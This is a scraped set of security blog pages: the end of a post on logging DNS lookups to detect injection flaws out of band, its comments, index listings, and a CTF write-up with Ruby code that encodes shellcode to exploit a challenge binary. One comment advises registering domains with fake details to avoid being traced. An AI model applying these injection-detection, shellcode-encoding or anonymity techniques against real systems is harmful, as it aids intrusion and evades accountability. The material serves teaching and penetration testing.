    The coolest thing is, if you're responding with NXDomain, then as far as the client or IDS/IPS/Wireshark/etc. knows, the domain doesn't exist and the connection doesn't happen. Nothing even attempts to connect - it doesn't even send a SYN. How could it? It just looks at the domain and "NOPES" right outta there.

    If some poor server admin has to figure out what's happening, what's s/he going to see? A request to a domain which, if they ping, doesn't exist. At that point, they give up and declare it a false positive. What else can they do, really?

    There are so many applications. Looking for SQL injection? Use a command that does a DNS lookup (I don't know enough about SQL to do this). Looking for a RFI vuln? Try to include a file from your domain. Wondering if a company will try emailing you without risking getting an email (I'm sure I can come up with a scenario)? Give them "thisisfake@fakeemail.skullseclabs.org" as your email address. If I try to email that from gmail, it fails pretty much instantly:

    Delivery to the following recipient failed permanently:
    
         thisisfake@fakeemail.skullseclabs.org
    
    Technical details of permanent failure:
    DNS Error: Address resolution of fakeemail.skullseclabs.org. failed: Domain name not found
    

    But I still see that they tried:

    $ sudo ruby ./dnslogger.rb
    dnslogger v1.0.0 is starting!
    
    Starting dnslogger DNS server on 0.0.0.0:53
    Got a request for fakeemail.skullseclabs.org [type = MX], responding with NXDomain
    Got a request for fakeemail.skullseclabs.org [type = MX], responding with NXDomain
    Got a request for fakeemail.skullseclabs.org [type = AAAA], responding with NXDomain
    Got a request for fakeemail.skullseclabs.org [type = A], responding with NXDomain
    

    I see the attempt, but neither gmail nor the original sender can tell that apart from a misspelled domain - because it's identical in every way!

    (I'm mildly curious why it does a AAAA/A lookup - maybe somebody can look into that)

    Returning addresses

    dnslogger.rb can return more than just NXDomain - it can return actual domains! If you start dnslogger.rb with a --A argument:

    $ sudo ruby ./dnslogger.rb --A "8.8.8.8"

    Then it'll return that ip address for every A request for any domain:

    $ ping arecord.skullseclabs.org
    
    Pinging arecord.skullseclabs.org [8.8.8.8] with 32 bytes of data:
    Reply from 8.8.8.8: bytes=32 time=85ms TTL=44
    Reply from 8.8.8.8: bytes=32 time=80ms TTL=44
    Reply from 8.8.8.8: bytes=32 time=73ms TTL=44
    Reply from 8.8.8.8: bytes=32 time=90ms TTL=44
    
    Ping statistics for 8.8.8.8:
        Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
    Approximate round trip times in milli-seconds:
        Minimum = 73ms, Maximum = 90ms, Average = 82ms
    

    If you do a lookup directly to the server, you can use any domain:

    $ dig @206.220.196.59 google.com
    [...]
    ;; ANSWER SECTION:
    google.com.             86400   IN      A       8.8.8.8
    

    In the past, I've found a DNS server that always returns the same thing to be useful for analyzing malware (also database software, which can often be considered the same thing). In particular, setting a system's DNS server to the IP of a dnslogger.rb instance, then returning 127.0.0.1 for all A records and ::1 for all AAAA records, can be a great way to analyze malware without letting it connect outbound to any domains (it will, of course, be able to connect outbound if it uses an ip address instead of a domain name):

    $ sudo ruby ./dnslogger.rb --A "127.0.0.1" --AAAA "::1"
    

    What else can you do?

    Well, I mean, if you have an authoritative DNS server, you can have a command-and-control channel over DNS. I'm not going to dwell on that, but I've written about it in the past :).

    Conclusion

    The entire point of this post is that: it's possible to tell if somebody is trying to connect to you (either as a TCP connection, sending an email, pinging you, etc) without them knowing that you know.

    And the coolest part of all this? It's totally invisible. As far as anybody can tell, the connection fails and that's all they know.

    Isn't DNS awesome?

    16 thoughts on “Why DNS is awesome and why you should love it

    1. Reply

      datenpunk

      (I'm mildly curious why it does a AAAA/A lookup - maybe somebody can look into that)

      Here you go: https://en.wikipedia.org/wiki/MX_record#History_of_fallback_to_address_record

    2. Reply

      JP

      The mail system does an AAAA/A lookup because if there is no MX for a host the protocol falls back to trying to deliver directly to the host. Back in the day mail quite often went to a specific machine not a domain. Sometimes it was even routed that way user%host.domain@otherhost.domain

      Bonus points for anybody who remember inhp4, mcvax and seismo

    3. Reply

      Philip Woolford

      Regarding the AAAA/A record lookup, that's a fallback mechanism built into the SMTP standard.

      See RFC 5321 §5.1: Locating the Target Host

      If an empty list of MXs is returned, the address is treated as if it was associated with an implicit MX RR, with a preference of 0, pointing to that host.

    4. Reply

      Wolfgang Kandek

      Excellent tool, looks very useful. Will test it this week.

      Regarding MX/AAAA/A it is in SMTP RFC 2821: "If no MX records are found, but an A RR is found, the A RR is treated as if it was associated with an implicit MX RR, with a preference of 0, pointing to that host."

    5. Reply

      Timo

      According to RFC 974, an empty MX record list implies that the domain name itself is the host name for the mail exchange. This is why the MX lookup failure is followed by a AAAA/A lookup.

    6. Reply

      Michael

      >I'm mildly curious why it does a AAAA/A lookup - maybe somebody can look into that

      The SMTP RFC specifies that if there is no MX record, delivery is to be attempted to the host itself.

    7. Reply

      albinowax

      Good stuff. This is pretty much exactly what we're automating with Burp Collaborator.

      If it takes 5 seconds, it's probably vulnerable to XSS.

      I think you mean OS command injection?

      1. Reply

        Ron Bowes Post author

        Derp, yes, thanks. :)

        That's awesome about automating it! When burp thinks it finds command injection, doing something with DNS is the first thing I always try :)

        1. Reply

          Ron Bowes Post author

          I need to fire my editor.

          Or, better yet, hire one. :)

    8. Reply

      Anonymous

      Ok, I must agree that after reading this article, I think DNS is pretty awesome too!!

    9. Reply

      cynicXer

      "$ sudy ruby ./dnslogger.rb --A "8.8.8.8""

      I'm relatively certain you meant "sudo".

    10. Reply

      Sergey Belov

      https://thesprawl.org/projects/dnschef/ released a long time ago.

      1. Reply

        Ron Bowes Post author

        Yeah, I don't pretend this was something new. It's just really, really simple code that I figured would be handy. :)

    11. Reply

      John

      Wow, i didn't actually know you could do this much with DNS. time to try this out me thinks.

    12. Reply

      Pypy

      Correct me if I'm wrong but if an IT guy wanted to look into the DNS lookup, wouldn't he be able to find the details you provided to the registrar? So you'd have to lie to them to remain anonymous and make up something that doesn't look suspicious.

      1. Reply

        Ron Bowes Post author

        @Pypy: Yeah, it could be traced back, assuming they know that they should. The idea is that it blends in enough that they wouldn't see it.

        If you need to be REALLY careful, you could register the domain with a pre-paid card and fake details.

    Leave a Reply

    Your email address will not be published.

     

    #####EOF##### Tools » SkullSecurity

    Going the other way with padding oracles: Encrypting arbitrary data!

    A long time ago, I wrote a couple blogs that went into a lot of detail on how to use padding oracle vulnerabilities to decrypt an encrypted string of data. It's pretty important to understand to use a padding oracle vulnerability for decryption before reading this, so I'd suggest going there for a refresher. When […]

    dnscat2 0.05: with tunnels!

    Greetings, and I hope you're all having a great holiday! My Christmas present to you, the community, is dnscat2 version 0.05! Some of you will remember that I recently gave a talk at the SANS Hackfest Summit. At the talk, I mentioned some ideas for future plans. That's when Ed jumped on the stage and […]

    dnscat2: now with crypto!

    Hey everybody, Live from the SANS Pentest Summit, I'm excited to announce the latest beta release of dnscat2: 0.04! Besides some minor cleanups and UI improvements, there is one serious improvement: all dnscat2 sessions are now encrypted by default! Read on for some user information, then some implementation details for those who are interested! For […]

    Why DNS is awesome and why you should love it

    It's no secret that I love DNS. It's an awesome protocol. It's easy to understand and easy to implement. It's also easy to get dangerously wrong, but that's a story for last weeka few weeks ago. :) I want to talk about interesting implication of DNS's design decisions that benefit us, as penetration testers. It's […]

    dnscat2 beta release!

    As I promised during my 2014 Derbycon talk (amongst other places), this is an initial release of my complete re-write/re-design of the dnscat service / protocol. It's now a standalone tool instead of being bundled with nbtool, among other changes. :) I'd love to have people testing it, and getting feedback is super important to […]

    GitS 2015: knockers.py (hash extension vulnerability)

    As many of you know, last weekend was Ghost in the Shellcode 2015! There were plenty of fun challenges, and as always I had a great time competing! This will be my first of four writeups, and will be pretty simple (since it simply required me to use a tool that already exists (and that […]

    PlaidCTF writeup for Web-300 – whatscat (SQL Injection via DNS)

    Hey folks, This is my writeup for Whatscat, just about the easiest 300-point Web level I've ever solved! I wouldn't normally do a writeup about a level like this, but much like the mtpox level I actually wrote the exact tool for exploiting this, and even wrote a blog post about it almost exactly 4 […]

    PlaidCTF writeup for Web-150 – mtpox (hash extension attack)

    Hey folks, This is going to be my first of a couple writeups about this past weekend's CTF: PlaidCTF! My first writeup is for a 150-point Web level called mtpox. I chose this one to do first not only because it's the first level I completed, but also because the primary vulnerability was a hash […]

    Padding oracle attacks: in depth

    This post is about padding oracle vulnerabilities and the tool for attacking them - "Poracle" I'm officially releasing right now. You can grab the Poracle tool on Github! At my previous job — Tenable Network Security — one of the first tasks I ever had was to write a vulnerability check for MS10-070 — a […]

    Everything you need to know about hash length extension attacks

    You can grab the hash_extender tool on Github! (Administrative note: I'm no longer at Tenable! I left on good terms, and now I'm a consultant at Leviathan Security Group. Feel free to contact me if you need more information!) Awhile back, my friend @mogigoma and I were doing a capture-the-flag contest at https://stripe-ctf.com. One of […]

    Using “Git Clone” to get Pwn3D

    Hey everybody! While I was doing a pentest last month, I discovered an attack I didn't previously know, and I thought I'd share it. This may be a Christopher Columbus moment - discovering something that millions of people already knew about - but I found it pretty cool so now you get to hear about […]

    Hacking crappy password resets (part 2)

    Hey, In my last post, I showed how we could guess the output of a password-reset function with a million states. While doing research for that, I stumbled across some software that had a mere 16,000 states. I will show how to fully compromise this software package remotely using the password reset.

    Hacking crappy password resets (part 1)

    Greetings, all! This is part one of a two-part blog on password resets. For anybody who saw my talk (or watched the video) from Winnipeg Code Camp, some of this will be old news (but hopefully still interesting!) For this first part, I'm going to take a closer look at some very common (and very […]

    Watch out for exim!

    Hey everybody, Most of you have probably heard of the exim vulnerability this week. It has potential to be a nasty one, and my brain is stuffed with its inner workings right now so I want to post before I explode! First off, if you're concerned that you might have vulnerable hosts, I wrote a […]

    Faking demos for fun and profit

    This week Last week Earlier this month Last month Last year (if this intro doesn't work, I give up trying to post this :) ), I presented at B-Sides Ottawa, which was put on by Andrew Hay and others (and sorry I waited so long before posting this... I kept revising it and not publishing). […]

    A call to arms! Web app fingerprints needed!

    Hey all, This is partly an overview of a new Nmap feature that I'm excited about, but is mostly a call to arms. I don't have access to enterprise apps anymore, and I'm hoping you can all help me out by submitting fingerprints! Read on for more.

    Call for testers: nbtool-0.05 and dnscat-0.05

    Hey all, I just released the second alpha build of nbtool (0.05alpha2), and I'm hoping to get a few testers to give me some feedback before I release 0.05 proper. I'm pretty happy with the 0.05 release, but it's easy for me to miss things as the developer. I'm hoping for people to test: Through […]

    #####EOF##### May » 2013 » SkullSecurity

    ropasaurusrex: a primer on return-oriented programming

    One of the worst feelings when playing a capture-the-flag challenge is the hindsight problem. You spend a few hours on a level—nothing like the amount of time I spent on cnot, not by a fraction—and realize that it was actually pretty easy. But also a brainfuck. That's what ROP's all about, after all! Anyway, even […]

    #####EOF##### GitS 2015: Huffy (huffman-encoded shellcode) » SkullSecurity


    GitS 2015: Huffy (huffman-encoded shellcode)

    Welcome to my fourth and final writeup from Ghost in the Shellcode 2015! This one is about the one and only reversing level, called "huffy", that was released right near the end.

    Unfortunately, while I thought I was solving it a half hour before the game ended, I had messed up some timezones and was finishing it a half hour after the game ended. So I didn't do the final exploitation step.

    At any rate, I solved the hard part, so I'll go over the solution!

    Huffman Trees

    Since the level was called "huffy", and I recently solved a level involving Huffman Trees in the Defcon qualifiers, my immediate thought was a Huffman Tree.

    For those who don't know, a Huffman Tree is a fairly simple data structure used for data compression. The tree is constructed by reading the input and building a tree where the most common characters are near the top, and the least common are near the bottom.

    To compress data, it traverses the tree to generate the encoded bits (left = 0, right = 1). The closer to the top something is, the less bits it encodes to. It's also a "prefix code", which is a really neat property that means that no encoded bit string is a prefix of another one (in other words, when you're reading bits, you instantly know when you're done decoding one character).

    For example, if you had a Huffman Tree that looked like:

           9
        /     \
       4       5 (o)
     /   \
    d(3)  g(1)
    

    You know that it was generated from text with 9 characters. 5 of the characters were 'o', 3 of the characters were 'd', and 1 of the characters were 'g'.

    When you use it to compress data, you might compress "dog" like:

    • d = 00 (left left)
    • o = 1 (right)
    • g = 01 (left right)

    Therefore, "dog" would encode to the bits "00101".

    If you saw the string of bits "01100", you could follow the tree: left right (g) right (o) left left (d) and get the string "god".

    If there are equal numbers of each character in a string, and the number of unique characters is a power of 2, you wind up with a balanced tree.. for example, the string "aaabbbcccddd" would have the huffman tree:

           12
        /      \
       6        6
     /   \    /   \
    a     b  c     d
    

    And the string "abcd" will be encoded "00011011".

    That property is going to be important. :)

    Understanding the program

    When you run the program it prompts for input from stdin. If you give it input, it outputs a whole bunch of junk (although the output makes it a whole lot easier!).

    Here's an example:

    $ echo 'this is a test string' | ./huffy
    CWD: /home/ron/gits2015/huffy
    Nibble  Frequency
    ------  ---------
    0       0.113636
    1       0.022727
    2       0.113636
    3       0.090909
    4       0.090909
    5       0.022727
    6       0.181818
    7       0.227273
    8       0.022727
    9       0.068182
    a       0.022727
    b       0.000000
    c       0.000000
    d       0.000000
    e       0.022727
    f       0.000000
    
    Read 22 bytes
    Two lowest frequencies: 0.000000 and 0.000000
    Two lowest frequencies: 0.000000 and 0.000000
    Two lowest frequencies: 0.000000 and 0.000000
    Two lowest frequencies: 0.000000 and 0.022727
    Two lowest frequencies: 0.022727 and 0.022727
    Two lowest frequencies: 0.022727 and 0.022727
    Two lowest frequencies: 0.022727 and 0.045455
    Two lowest frequencies: 0.045455 and 0.068182
    Two lowest frequencies: 0.068182 and 0.090909
    Two lowest frequencies: 0.090909 and 0.113636
    Two lowest frequencies: 0.113636 and 0.113636
    Two lowest frequencies: 0.159091 and 0.181818
    Two lowest frequencies: 0.204545 and 0.227273
    Two lowest frequencies: 0.227273 and 0.227273
    Two lowest frequencies: 0.340909 and 0.431818
    Two lowest frequencies: 0.454545 and 0.454545
    Two lowest frequencies: 0.772727 and 0.909091
    Breaking!
    0 --0--> 0x9863348 --1--> 0x9863390 --1--> 0x98633c0 --1--> 0x98633d8
    1 --0--> 0x98632b8 --1--> 0x98632e8 --0--> 0x9863318 --0--> 0x9863360 --0--> 0x98633a8 --0--> 0x98633d8
    2 --1--> 0x9863348 --1--> 0x9863390 --1--> 0x98633c0 --1--> 0x98633d8
    3 --1--> 0x9863318 --0--> 0x9863360 --0--> 0x98633a8 --0--> 0x98633d8
    4 --0--> 0x9863330 --0--> 0x9863378 --1--> 0x98633a8 --0--> 0x98633d8
    5 --0--> 0x98632d0 --0--> 0x9863300 --1--> 0x9863330 --0--> 0x9863378 --1--> 0x98633a8 --0--> 0x98633d8
    6 --1--> 0x9863360 --0--> 0x98633a8 --0--> 0x98633d8
    7 --1--> 0x9863378 --1--> 0x98633a8 --0--> 0x98633d8
    8 --0--> 0x98632e8 --0--> 0x9863318 --0--> 0x9863360 --0--> 0x98633a8 --0--> 0x98633d8
    9 --1--> 0x9863300 --1--> 0x9863330 --0--> 0x9863378 --1--> 0x98633a8 --0--> 0x98633d8
    a --1--> 0x98632d0 --0--> 0x9863300 --1--> 0x9863330 --0--> 0x9863378 --1--> 0x98633a8 --0--> 0x98633d8
    b --0--> 0x9863258 --0--> 0x9863270 --0--> 0x9863288 --0--> 0x98632a0 --1--> 0x98632b8 --1--> 0x98632e8 --0--> 0x9863318 --0--> 0x9863360 --0--> 0x98633a8 --0--> 0x98633d8
    c --1--> 0x9863288 --0--> 0x98632a0 --1--> 0x98632b8 --1--> 0x98632e8 --0--> 0x9863318 --0--> 0x9863360 --0--> 0x98633a8 --0--> 0x98633d8
    d --1--> 0x9863270 --0--> 0x9863288 --0--> 0x98632a0 --1--> 0x98632b8 --1--> 0x98632e8 --0--> 0x9863318 --0--> 0x9863360 --0--> 0x98633a8 --0--> 0x98633d8
    e --1--> 0x98632a0 --1--> 0x98632b8 --1--> 0x98632e8 --0--> 0x9863318 --0--> 0x9863360 --0--> 0x98633a8 --0--> 0x98633d8
    f --1--> 0x9863258 --0--> 0x9863270 --0--> 0x9863288 --0--> 0x98632a0 --1--> 0x98632b8 --1--> 0x98632e8 --0--> 0x9863318 --0--> 0x9863360 --0--> 0x98633a8 --0--> 0x98633d8
    Encoding input...
    ASCII Encoded: 011010000100000001010110110001111111100010101101100011111111000100001011111110011010000101010001100010110100111111100110001011010001111110010101100100001110010111110010101
    Binary Encoded:
    h@V????Q?O?-????
    Executing encoded input...
    Segmentation fault
    

    It took me a little bit of time to see what's going on, but once you get it, it's pretty straight forward!

    The first part is giving a frequency analysis of each nibble (a nibble being one hex character, or half of a byte). That tells me that it's compressing it via nibbles. Then it gives a frequency analysis of the input—I didn't worry too much about that—then it shows the encodings for each of the 16 possible nibbles.

    After it encodes them, it takes those bits and converts them to a long binary string, then tries to run it.

    So to summarize: you have to come up with some data that, when compressed nibble-by-nibble with Huffman encoding, will turn into something executable!

    Cleaning up the output

    To make my life easier, I thought I'd use a bit of shell-fu to clean up the output so I can better understand what's going on:

    $ echo 'this is a test string' | ./huffy | sed -re 's/ --/ /' -e 's/--> .{9} --//g' -e 's/--> .*//'
    

    Which produces the output:

    [...]
    0 0111
    1 010000
    2 1111
    3 1000
    4 0010
    5 001010
    6 100
    7 110
    8 00000
    9 11010
    a 101010
    b 0000110000
    c 10110000
    d 100110000
    e 1110000
    f 1000110000
    Encoding input...
    ASCII Encoded: 011010000100000001010110110001111111100010101101100011111111000100001011111110011010000101010001100010110100111111100110001011010001111110010101100100001110010111110010101
    

    If you try to give it "AAAA", you wind up with this table:

    $ echo 'AAAA' | ./huffy | sed -re 's/ --/ /' -e 's/--> .{9} --//g' -e 's/--> .*//'
    [...]
    0 0101
    1 0
    2 0000000000001101
    3 101101
    4 11
    5 1001101
    6 10001101
    7 100001101
    8 1000001101
    9 10000001101
    a 11101
    b 100000001101
    c 1000000001101
    d 10000000001101
    e 100000000001101
    f 1000000000001101
    Encoding input...
    ASCII Encoded: 110110110110101010111
    Binary Encoded:
    

    You probably know that AAAA = "41414141", so '4' and '1' are the most common nibbles. That's borne out in the table, too, with '4' being encoded as '11' and '1' being encoded as '0'. We also expect to see a newline at the end - "\x0a" - so the '0' and 'a' should also be encoded there.

    If we break apart the characters, we see this string:

    ASCII Encoded: 11 0 11 0 11 0 11 0 1010 10111
    

    One thing to note is that everything is going to be backwards from how you see it on the table! 11 and 0 don't actually matter, but 1010 = 0101 = '0', and 10111 = 11101 = 'a'. I honestly didn't notice that during the actual game, though, I worked around that problem in a creative way. :)

    Balancing it out

    Remember I mentioned earlier that if you have a balanced tree with a power-of-two number of nodes, all characters are encoded to the same number of bits? Well, it turns out that there are 16 different nibbles, so if you have an even number of each nibble in your input string, they each encode to 4 bits:

    $ echo -ne '\x01\x23\x45\x67\x89\xab\xcd\xef' | ./huffy | sed -re 's/ --/ /' -e 's/--> .{9} --//g' -e 's/--> .*//'
    0 0000
    1 0001
    2 0011
    3 0010
    4 0110
    5 0111
    6 0101
    7 0100
    8 1100
    9 1101
    a 1111
    b 1110
    c 1010
    d 1011
    e 1001
    f 1000
    

    And not only do they each encode to 4 bits, every possible 4-bit value is there, too!

    Exploit

    The exploit now is just a matter of...

    1. Figuring out which nibbles encode to which bits
    2. Writing those nibbles out as shellcode
    3. Padding the shellcode till you have the same number of each nibble

    That's all pretty straight forward! Check out my full exploit, or piece it together from the snippits below :)

    First, create a table (I did this by hand):

    @@table = {
      "0000" => 0x0, "0001" => 0x1, "0011" => 0x2, "0010" => 0x3,
      "0110" => 0x4, "0111" => 0x5, "0101" => 0x6, "0100" => 0x7,
      "1100" => 0x8, "1101" => 0x9, "1111" => 0xa, "1110" => 0xb,
      "1010" => 0xc, "1011" => 0xd, "1001" => 0xe, "1000" => 0xf,
    }
    

    Then encode the shellcode:

    def encode_nibble(b)
      binary = b.to_s(2).rjust(4, '0')
      puts("Looking up %s... => %x" % [binary, @@table[binary]])
      return @@table[binary]
    end
    
    @@hist = [ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, ]
    
    #shellcode = "\xeb\xfe"
    #shellcode = "\xcd\x03"
    shellcode = "hello world, this is my shellcode!"
    shellcode.each_byte do |b|
      n1 = b >> 4
      n2 = b & 0x0f
    
      puts("n1 = %x" % n1)
      puts("n2 = %x" % n2)
    
      @@hist[n1] += 1
      @@hist[n2] += 1
    
      out += ((encode_nibble(n1) << 4) | (encode_nibble(n2) & 0x0F)).chr
    end
    

    Notice that I maintain a histogram, that makes the final step easier, padding the string as needed:

    def get_padding()
      result = ""
      max = @@hist.max
    
      needed_nibbles = []
      0.upto(@@hist.length - 1) do |i|
        needed_nibbles << [i] * (max - @@hist[i])
        needed_nibbles.flatten!
      end
    
      if((needed_nibbles.length % 2) != 0)
        puts("We need an odd number of nibbles! Add some NOPs or something :(")
        exit
      end
    
      0.step(needed_nibbles.length - 1, 2) do |i|
        n1 = needed_nibbles[i]
        n2 = needed_nibbles[i+1]
    
        result += ((encode_nibble(n1) << 4) | (encode_nibble(n2) & 0x0f)).chr
      end
    
      return result
    end
    

    And now "out" should contain a bunch of nibbles that will map to shellcode! Should!

    Finally, we output it:

    def output(str)
      print "echo -ne '"
      str.bytes.each do |b|
        print("\\x%02x" % b)
      end
      puts("' > in; ./huffy < in")
    end
    

    Hacking around a bug

    Did you notice what I did wrong? I made a big mistake, and in the heat of the contest I didn't have time to fix it properly. When I tried to encode "hello world, this is my shellcode!", I get:

    echo -ne '\x4f\x46\x48\x48\x4a\x30\x55\x4a\x53\x48\x47\x38\x30\x57\x4f\x4e\x52\x30\x4e\x52\x30\x49\x5e\x30\x52\x4f\x46\x48\x48\x42\x4a\x47\x46\x31\x00\x00\x00\x00\x00\x00\x00\x01\x11\x11\x11\x11\x11\x11\x11\x11\x11\x33\x33\x33\x33\x33\x33\x22\x22\x22\x22\x22\x22\x22\x22\x77\x77\x77\x77\x77\x77\x77\x77\x76\x66\x66\x66\x66\x66\x66\x66\x66\x55\x55\x55\x55\x55\x55\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xee\xee\xee\xee\xee\xee\xee\xee\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\x88\x88\x88\x88\x88\x88\x88\x99\x99\x99\x99\x99\x99\x99\x99\x99\x9b\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xba\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa' > in; ./huffy < in
    

    Which works out to:

    ajcco@?o?cbC@?ai?@i?@k?@?ajcclobj?????????DDDDDD????????""""""""*??????????????????????UUUUUUUUUU??????????3333333??????????wwwwwwwww????????
    

    That's not my string! What's the deal?

    But notice the string starts with "ajcco" - that kidna looks like "hello". And the 4-bits-per-character thing is holding up, we can see:

    0 0000
    1 0001
    2 0011
    3 0010
    4 0110
    5 0111
    6 0101
    7 0100
    8 1100
    9 1101
    a 1111
    b 1110
    c 1010
    d 1011
    e 1001
    f 1000
    

    So it's kinda working! Kinnnnnda!

    To work on this, I tried the shellcode

    "\x01\x23\x45\x67\x89\xab\xcd\xef"

    and determined that it encoded to: "0000100001001100001010100110111000011001010111010011101101111111", which is, in hex:

    "\x08\x4c\x3a\x6e\x19\x5d\x3b\x7f"

    Or, to list the nibbles:

    0000
    1000
    0100
    1100
    0010
    1010
    0110
    1110
    0001
    1001
    0101
    1101
    0011
    1011
    0111
    1111
    

    If I was paying more attention, I would have noticed the obvious problem: they're backwards!!!

    In my rush to get the level done, I didn't notice that every nibble's bits were exactly backwards (1000 instead of 0001, 0100 instead of 0010, etc etc)

    While I didn't notice the problem, I did notice that everything was consistently wrong. So I did this:

    hack_table = {
      0x02 => 0x08, 0x0d => 0x09, 0x00 => 0x00, 0x08 => 0x02,
      0x0f => 0x01, 0x07 => 0x03, 0x03 => 0x07, 0x0c => 0x06,
      0x04 => 0x04, 0x0b => 0x05, 0x01 => 0x0f, 0x0e => 0x0e,
      0x06 => 0x0c, 0x09 => 0x0d, 0x05 => 0x0b, 0x0a => 0x0a
    }
    
    hack_out = ""
    
    out.bytes.each do |b|
      n1 = hack_table[b >> 4]
      n2 = hack_table[b & 0x0f]
    
      hack_out += ((n1 << 4) | (n2 & 0x000f)).chr
    end
    output(hack_out)
    

    And ran it with the original test shellcode:

    $ ruby ./sploit.rb
    echo -ne '\x41\x4c\x42\x42\x4a\x70\xbb\x4a\xb7\x42\x43\x72\x70\xb3\x41\x4e\xb8\x70\x4e\xb8\x70\x4d\xbe\x70\xb8\x41\x4c\x42\x42\x48\x4a\x43\x4c\x7f\x00\x00\x00\x00\x00\x00\x00\x0f\xff\xff\xff\xff\xff\xff\xff\xff\xff\x77\x77\x77\x77\x77\x77\x88\x88\x88\x88\x88\x88\x88\x88\x33\x33\x33\x33\x33\x33\x33\x33\x3c\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xbb\xbb\xbb\xbb\xbb\xbb\x11\x11\x11\x11\x11\x11\x11\x11\x1e\xee\xee\xee\xee\xee\xee\xee\xee\x66\x66\x66\x66\x66\x66\x66\x66\x66\x66\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x22\x22\x22\x22\x22\x22\x22\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xd5\x55\x55\x55\x55\x55\x55\x55\x55\x55\x5a\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa' > in; ./huffy < in
    

    Then run the code I got:

    $ echo -ne '\x41\x4c\x42\x42\x4a\x70\xbb\x4a\xb7\x42\x43\x72\x70\xb3\x41\x4e\xb8\x70\x4e\xb8\x70\x4d\xbe\x70\xb8\x41\x4c\x42\x42\x48\x4a\x43\x4c\x7f\x00\x00\x00\x00\x00\x00\x00\x0f\xff\xff\xff\xff\xff\xff\xff\xff\xff\x77\x77\x77\x77\x77\x77\x88\x88\x88\x88\x88\x88\x88\x88\x33\x33\x33\x33\x33\x33\x33\x33\x3c\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xbb\xbb\xbb\xbb\xbb\xbb\x11\x11\x11\x11\x11\x11\x11\x11\x1e\xee\xee\xee\xee\xee\xee\xee\xee\x66\x66\x66\x66\x66\x66\x66\x66\x66\x66\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x22\x22\x22\x22\x22\x22\x22\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xd5\x55\x55\x55\x55\x55\x55\x55\x55\x55\x5a\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa' > in; ./huffy < in
    

    Binary Encoded:

    hello world, this is my shellcode!""""""33333333DDDDDDDDEUUUUUUUUwwwwww????????????????????????????????????????????????????????????????????????
    Executing encoded input...
    Segmentation fault
    

    That's better! It decoded it properly thanks to my little hack! Not let's try my two favourite test strings, "\xcd\x03" (debug breakpoint, can also use "\xcc") and "\xeb\xfe" (infinite loop):

    $ ruby ./sploit.rb
    echo -ne '\x2d\x08\xf7\x3c\x4b\x1e\x69\x5a' > in; ./huffy < in
    
    $ echo -ne '\x2d\x08\xf7\x3c\x4b\x1e\x69\x5a' > in; ./huffy < in
    Binary Encoded:
    ?Eg???
    Executing encoded input...
    Trace/breakpoint trap
    
    $ ruby ./sploit.rb
    echo -ne '\x59\xa5\x00\xff\x77\x88\x33\xcc\x44\xbb\x11\xee\x66\x92\x2d\xda' > in; ./huffy < in
    
    $ echo -ne '\x59\xa5\x00\xff\x77\x88\x33\xcc\x44\xbb\x11\xee\x66\x92\x2d\xda' > in; ./huffy < in
    Binary Encoded:
    ??"3DUfw??????
    Executing encoded input...
    [...infinite loop...]
    

    At this point, I had run out of time (damn you timezones!) and didn't finish up.

    Summary

    This was, as I mentioned, a pretty straight forward Huffman-Tree level.

    It compresses your input, nibble-by-nibble, and runs the result.

    I gave it some input to ensure the tree is balanced, where each nibble produces 4 bits, then we encoded the shellcode as such.

    When I realized I was getting the wrong output, rather than reversing the bit strings, which I hadn't realize were backwards until just now, I made a little table to translate them correctly.

    Then we encode the shellcode, and we win!

    The last step would be to find appropriate shellcode, pad the message to always be 1024 nibbles (like the server wants), and send it off!

    Leave a Reply

    Your email address will not be published.

     

    #####EOF##### SkullSecurity » Adventures In Security

    In BSidesSF CTF, calc.exe exploits you! (Author writeup of launchcode)

    Hey everybody,

    In addition to genius, whose writeup I already posted, my other favourite challenge I wrote for BSidesSF CTF was called launchcode. This will be my third and final writeup for BSidesSF CTF for 2019, but you can see all the challenges and solutions on our Github releases page.

    This post will be more about how I developed this, since the solution is fairly straight forward once you know how it's implemented.
    Continue reading

    BSidesSF CTF author writeup: genius

    Hey all,

    This is going to be an author's writeup of the BSidesSF 2019 CTF challenge: genius!

    genius is probably my favourite challenge from the year, and I'm thrilled that it was solved by 6 teams! It was inspired by a few other challenges I wrote in the past, including Nibbler. You can grab the sourcecode, solution, and everything needed to run it yourself on our Github release!

    It is actually implemented as a pair of programs: loader and genius. I only provide the binaries to the players, so it's up to the player to reverse engineer them. Fortunately, for this writeup, we'll have source to reference as needed!
    Continue reading

    Technical Rundown of WebExec

    This is a technical rundown of a vulnerability that we've dubbed "WebExec". The summary is: a flaw in WebEx's WebexUpdateService allows anyone with a login to the Windows system where WebEx is installed to run SYSTEM-level code remotely. That's right: this client-side application that doesn't listen on any ports is actually vulnerable to remote code execution! A local or domain account will work, making this a powerful way to pivot through networks until it's patched.

    High level details and FAQ at https://webexec.org! Below is a technical writeup of how we found the bug and how it works.

    Continue reading

    Solving b-64-b-tuff: writing base64 and alphanumeric shellcode

    Hey everybody,

    A couple months ago, we ran BSides San Francisco CTF. It was fun, and I posted blogs about it at the time, but I wanted to do a late writeup for the level b-64-b-tuff.

    The challenge was to write base64-compatible shellcode. There's an easy solution - using an alphanumeric encoder - but what's the fun in that? (also, I didn't think of it :) ). I'm going to cover base64, but these exact same principles apply to alphanumeric - there's absolutely on reason you couldn't change the SET variable in my examples and generate alphanumeric shellcode.

    In this post, we're going to write a base64 decoder stub by hand, which encodes some super simple shellcode. I'll also post a link to a tool I wrote to automate this.

    I can't promise that this is the best, or the easiest, or even a sane way to do this. I came up with this process all by myself, but I have to imagine that the generally available encoders do basically the same thing. :)
    Continue reading

    BSidesSF CTF wrap-up

    Welcome!

